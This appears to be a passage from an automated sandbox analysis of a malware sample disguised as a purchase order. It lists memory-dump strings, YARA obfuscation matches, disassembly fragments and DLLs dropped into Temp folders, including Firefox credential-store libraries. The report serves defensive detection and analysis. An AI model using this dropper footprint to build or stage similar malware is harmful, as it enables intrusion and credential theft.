Source: Binary string: ucrtbase.pdbUGP source: PO No. 3200005919.exe, 00000005.00000003.7214861281.000000001DB7C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7186840993.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7189033393.0000000000060000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7151568728.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183128266.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.5.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7153506909.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7154557567.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.5.dr
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7137545133.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7157618680.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196659326.000000001E664000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196318925.000000001E658000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196442274.000000001E65C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7156953736.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196550840.000000001E660000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7161475490.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7161350303.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197174638.000000001E688000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197291781.000000001E68C000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7193344870.000000001E61C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193449641.000000001E620000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193081967.000000001E614000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7145957838.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7145338066.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193218179.000000001E618000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.5.dr
Source: Binary string: qipcap.pdb0 source: PO No. 3200005919.exe, 00000001.00000002.7112633568.000000000040A000.00000004.00000001.01000000.00000003.sdmp, PO No. 3200005919.exe, 00000001.00000002.7114872753.000000000289B000.00000004.00000800.00020000.00000000.sdmp, qipcap.dll.1.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.5.dr
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7147239448.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7147080304.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.5.dr
Source: Binary string: vcruntime140.i386.pdb source: PO No. 3200005919.exe, 00000005.00000003.7191720901.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7216382572.000000001DC98000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source: Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197360510.000000001E698000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7162088614.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7168388100.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196318925.000000001E658000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196442274.000000001E65C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183128266.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.5.dr
Source: Binary string: msvcp140.i386.pdbGCTL source: PO No. 3200005919.exe, 00000005.00000003.7207591372.000000001D9A8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7174962411.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7174178046.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7152463127.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.5.dr
Source: Binary string: D:\Kelly1076\__HITDisplay__\00_Code\ProArt Code_Git\ProArt\x64\Release\WMIMethod.pdb source: PO No. 3200005919.exe, 00000001.00000002.7112633568.000000000040A000.00000004.00000001.01000000.00000003.sdmp, PO No. 3200005919.exe, 00000001.00000002.7114872753.000000000289B000.00000004.00000800.00020000.00000000.sdmp, WMIMethod.dll.1.dr
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192792717.000000001E604000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192477101.000000001E5F8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7141392781.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192708827.000000001E600000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192605806.000000001E5FC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7141563170.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7197871193.000000001E6B0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197668078.000000001E69C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197360510.000000001E698000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7193344870.000000001E61C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193081967.000000001E614000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7145338066.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193218179.000000001E618000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193081967.000000001E614000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193218179.000000001E618000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7196731869.000000001E670000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7159539905.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7160196459.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197102801.000000001E67C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196892223.000000001E674000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197003158.000000001E678000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7166478515.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7165324032.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.5.dr

Data Obfuscation

barindex
Source: Yara match File source: 00000001.00000002.7116762893.0000000004120000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.6901415186.0000000001660000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_10002DE0 push eax; ret 1_2_10002E0E
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_041264D4 push 0000001Bh; retf 1_2_041264E8
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04129508 pushad ; ret 1_2_04129509
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_041235B8 push ebp; iretd 1_2_041235C2
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04122694 push FFFFFFA5h; iretd 1_2_041226D8
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_0412478E push EB0001E7h; ret 1_2_04124793
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04122FD1 pushad ; ret 1_2_04122FD7
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04122171 push edx; iretd 1_2_0412225F
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04122235 push edx; iretd 1_2_0412225F
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_0412631B push ss; iretd 1_2_0412631D
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_0412635C push esp; ret 1_2_04126373
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04123BAE push cs; retf 1_2_04123C32
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_041233D9 pushfd ; ret 1_2_041233E5
Source: WMIMethod.dll.1.dr Static PE information: section name: _RDATA
Source: qipcap.dll.1.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.5.dr Static PE information: section name: .didat
Source: api-ms-win-core-console-l1-1-0.dll.5.dr Static PE information: 0xAC22BA81 [Thu Jul 7 10:18:41 2061 UTC]
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-synch-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\nssdbm3.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-profile-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-process-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-handle-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-file-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-util-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-libraryloader-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-processthreads-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-math-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-stdio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-locale-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\softokn3.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\ucrtbase.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-debug-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-namedpipe-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-runtime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-localization-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\mozglue.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\nsh409.tmp\System.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-processthreads-l1-1-1.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-environment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\Overfurnished\Tuberculisation\Woodwose\Circularizations126\Iltningernes\Mellivorous\qipcap.dll Jump to dropped file
